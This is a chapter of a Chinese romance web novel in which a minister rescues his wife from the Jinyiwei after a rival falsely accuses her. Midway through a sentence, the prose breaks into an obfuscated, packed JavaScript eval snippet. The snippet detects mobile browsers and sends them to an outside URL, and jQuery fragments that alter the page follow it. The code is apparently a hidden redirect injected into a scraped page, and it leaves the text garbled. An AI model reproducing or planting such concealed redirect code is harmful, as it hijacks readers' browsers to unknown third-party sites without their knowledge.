云盈盈突然觉得搬了石头砸了自己的脚。
她才刚和贺少瞻定亲,这时候怎么能去指挥使衙门。要是被贺老夫人和武安侯知道了,指不定会怎样,说不定竹篮打水一场空!
她无助,第一反应便是寻求帮助:“欧阳哥哥……”
欧阳柏因与云盈盈熟识,又急于立功,所以听到云盈盈举报时才会比较重视,赶紧去汇报指挥佥事了。
但后来姜玉初一解释,再看姜玉初这盛气凌人的发威样子,心里便信了姜玉初八九分,觉得姜玉初讲的十有八九是真的。
若姜玉初说的是真的,那他这功劳没捞到,恐怕还要倒霉。好好的把尚书夫人给抓去指挥使衙门了,这个锅总得有人背!
欧阳柏心里七上八下的,后悔不该听信云盈盈一家之词,急急去报告指挥佥事,以至于指挥佥事直接将姜玉初当作犯人看待了。
更后悔自己反应不够快,没在姜玉初发火之前,将让她发火的罪魁祸首一起送去指挥使衙门!
眼下被云盈盈拉着喊“欧阳哥哥”,欧阳柏太阳穴突突直跳。
上司让别人带走她,她抓他干什么!难道指望他跟贺少瞻一样热血义气替她出头?贺少瞻是小侯爷,他可不是!
欧阳柏冷着脸,默不作声地往旁退了两步。
试图向所有人表明自己公事公办的态度:
他才不是因为云盈盈才害尚书夫人的,他对所有人都一样公正!他对云盈盈可没有私情!
欧阳柏这一退后,直接让云盈盈想抓衣角的手落空了。
云盈盈僵硬地收回手,一脸受到打击的模样,满脸无辜地看了一圈人。
可惜这里没有贺少瞻。
尽管有几个锦衣卫认识她,对她印象也不错,但尚书夫人发火了,谁敢上前帮她求情?要是尚书夫人真有把柄还好点,要是平白污蔑了尚书夫人,谁担得起这个责任!
大家都不是傻子,没必要为了不相干的人,拿自己的职业生涯冒险。
云盈盈见无一人为她说话,脸色微微发白,只好向那指挥佥事道:“我只听到那些话,其他的再没有了,我全都说清楚了,所以……是不是就不用那么麻烦去指挥使衙门了?”
指挥佥事对云盈盈态度就强硬多了:“云大夫,这是办案需要,希望你配合。”
云盈盈咬了咬嘴唇,几乎要哭了,却无能为力,只能垂头,跟着一起走。
就在这时,外面突然传来一阵急促的脚步声。
云盈盈心里一喜,听这脚步声就知道来人肯定是急了,贺少瞻着急时就像这样明显!肯定是贺少瞻来了,只有他会为自己出头!
她翘首以望,等来的却是失望。
门口转进来一人,长身玉立,一身清冷。
身后两个锦衣卫跟着小跑进来,客气地拦他:“雪大人,您慢点……”
说是拦,实际上只是作了个拦人的手势,根本没人真敢拦雪蘅。
那指挥佥事见了雪蘅,心里咯噔一下,急忙上前道:“雪大人,您怎么来了?”
雪蘅扫了一眼众人,没理会,径直走向姜玉初:“没事吧?”
姜玉初没想到雪蘅会来,更没想到他进来就问自己,忽然就理解了他当初说狩猎时她第一句话是担心他受伤时的感受了,原来无需多少花言巧语,只要一句话就能明白对方是不是真的关心自己。
她一时松懈,看着他笑了:“我没事。”
不管结果如何,只要雪蘅站在她身边,她都觉得安心。
雪蘅听她说没事,这才转头看向指挥佥事,回答了他的问题:“我来接夫人回家。”
他说得坦荡。好像再寻常不过。
指挥佥事有点为难。
雪夫人都答应去指挥使衙门“见证”了,就这样轻易放走了?可雪蘅是他得罪不起的。
他想了想,硬着头皮道:“雪夫人刚刚说要去指挥使衙门作见证。”
雪蘅只用一双清冷的眸子盯着他,一时没说话。
指挥佥事被他看得很紧张,手心冒汗,差点就要跪下说自己错了。
就在这时,雪蘅终于开口:“金樽坊一事圣上已经知道了,才让你们带人查封。你觉得我夫人为什么会来这里?”
虽没明说,但金樽坊一事经过雪蘅之手递交到皇帝面前。
这件事指挥佥事不知道,但听雪蘅提前因后果,便明白了:雪蘅恐怕也参与了此事,说不定就是力主查封金樽坊的人!
那他夫人为什么还卷入其中了呢?
当然是为了案子啊!
雪蘅轻轻一提点,指挥佥事立刻脑补了许多,不是他想脑补,而是看清了雪蘅的态度,他就知道该怎么做了。
他马上主动为姜玉初找补:“雪夫人一介弱女子为国为家,为了此案不惜以身试险,值得我等敬佩!”
几句话之间,就把姜玉初从嫌疑犯变成了以身试险的有功之人。
指挥佥事迫于权势而低头认怂。
云盈盈却气得想呕血,本想借刀杀人,哪知道给人锦上添花了!
雪蘅这才徐徐道:“我等都是照圣上旨意办事,你们有你们的为难之处,我都知道。锦衣卫查封,我本不该来,不过我家夫人在此,怕你们误会,我只好来一趟了。你放心,如果我夫人跟此案有其他瓜葛,我到时候亲自送夫人去指挥使衙门。”
这番话,既给姜玉初正了名,又给了指挥佥事台阶下,还颇有公正无私的气度。
指挥佥事忙道,“哪里哪里,肯定是误会一场,”他暗暗松了一口气,听雪蘅的口气,应该不会在此事上为难他了,而且还相当给他面子,不是那种仗势欺人的,便更客气了:“我这些手下总有有眼无珠的,望大人见谅。”
雪蘅继续道:“不过——”
指挥佥事瞬间提起一口气,紧张起来。
雪蘅:“如果有人借机污蔑尚书夫人,我希望锦衣卫也能秉公处理。”
指挥佥事用余光扫了一眼云盈盈,口内道:“那是自然,若是有人胆敢借机污蔑雪夫人,我也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036854|158862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不会放过。”
云盈盈这才慌起来。
这次之所以敢当众指证姜玉初:
一是她的身份与从前不同。现在不仅是侯府的救命恩人,还是贺小侯爷的未婚妻,胆子便大了,敢借机污蔑。
二是她并未直接指证姜玉初。她其实听到了两句,猜到那佟千户大概是看上了姜玉初,这才跟前跟后的纠缠她。不过为了模糊重点,她直接说自己没听清,只看到姜玉初和佟千户说了许多话。所以她只是省略了一些话,把前后两句不相干的事实拼接到一起,让锦衣卫听了,自动联结前因后果,误以为姜玉初和佟千户有点关系而已!
这应该不能算到自己头上吧?
存着这样的侥幸心里,云盈盈才敢如此胆大妄为,拉姜玉初下水。
听指挥佥事那样说,云盈盈当然会慌,只是慌张过后,又想:雪蘅应该只是想带走姜玉初,所以出言恐吓,只要两人都走了,剩下的都是锦衣卫,她自有说法。
这里有几个锦衣卫与她认识,连指挥佥事都认得她是“云大夫”,她为指挥使衙门诊治过罪犯,也诊治过锦衣卫,多少有点情分在,肯定比跟雪蘅说话好使点。
云盈盈等到雪蘅和姜玉初迈出了门槛,才小声开口,与欧阳柏道:“既然雪夫人可以走,那我这个见证雪夫人的见证人是不是也可以走了?”
欧阳柏没正面回答,只道:“看大人怎么安排。”
指挥佥事听到了,犹豫了一下,心想本来带上云盈盈就是为了安抚姜玉初,现在姜玉初都不去了,确实没必要再抓个小侯爷未婚妻进去,到时候反而两头不讨好,便准备都放走。
只是现在雪蘅还没走远,公然放了“指证”雪夫人的云盈盈,有点不给人面子;便想着等人走远了,再让云盈盈走。
外头看着锦衣卫,总觉得他们权势滔天,想干什么干什么,不畏权势。实则不然,只要是人,凭他什么职位,都天然怕高位者。
雪蘅走人,指挥佥事才松了一口气,大家也都不敢吭声,一起目送雪蘅和姜玉初离开。
哪知雪蘅刚要拐出去时,像是突然想起来什么似的,停了下来。
指挥佥事心里一紧。
但见雪蘅忽然回过头来,看向指挥佥事:“如果有人污蔑了尚书夫人,等真相大白时那人早已心虚跑了,锦衣卫到时候找不到人,该当如何?”
指挥佥事一愣:“这种事,定然不会发生。”
云盈盈脸色一白。
……
尽管雪蘅一路上什么都没说,姜玉初却满是懊恼,所有懊恼最终凝成三个字:“对不起。”
卷入是非中,虽然不算她的错,但实际上就是她的错,要是她没去那里,一切都不会发生。
明知雪蘅不是那种人,她还是去了。
明知那地方有问题,她还是去了。
最后,还连累雪蘅利用尚书的身份把她捞出来……
姜玉初心情沮丧极了,一点被捞出来的欣喜都没有,反而满心都是后悔。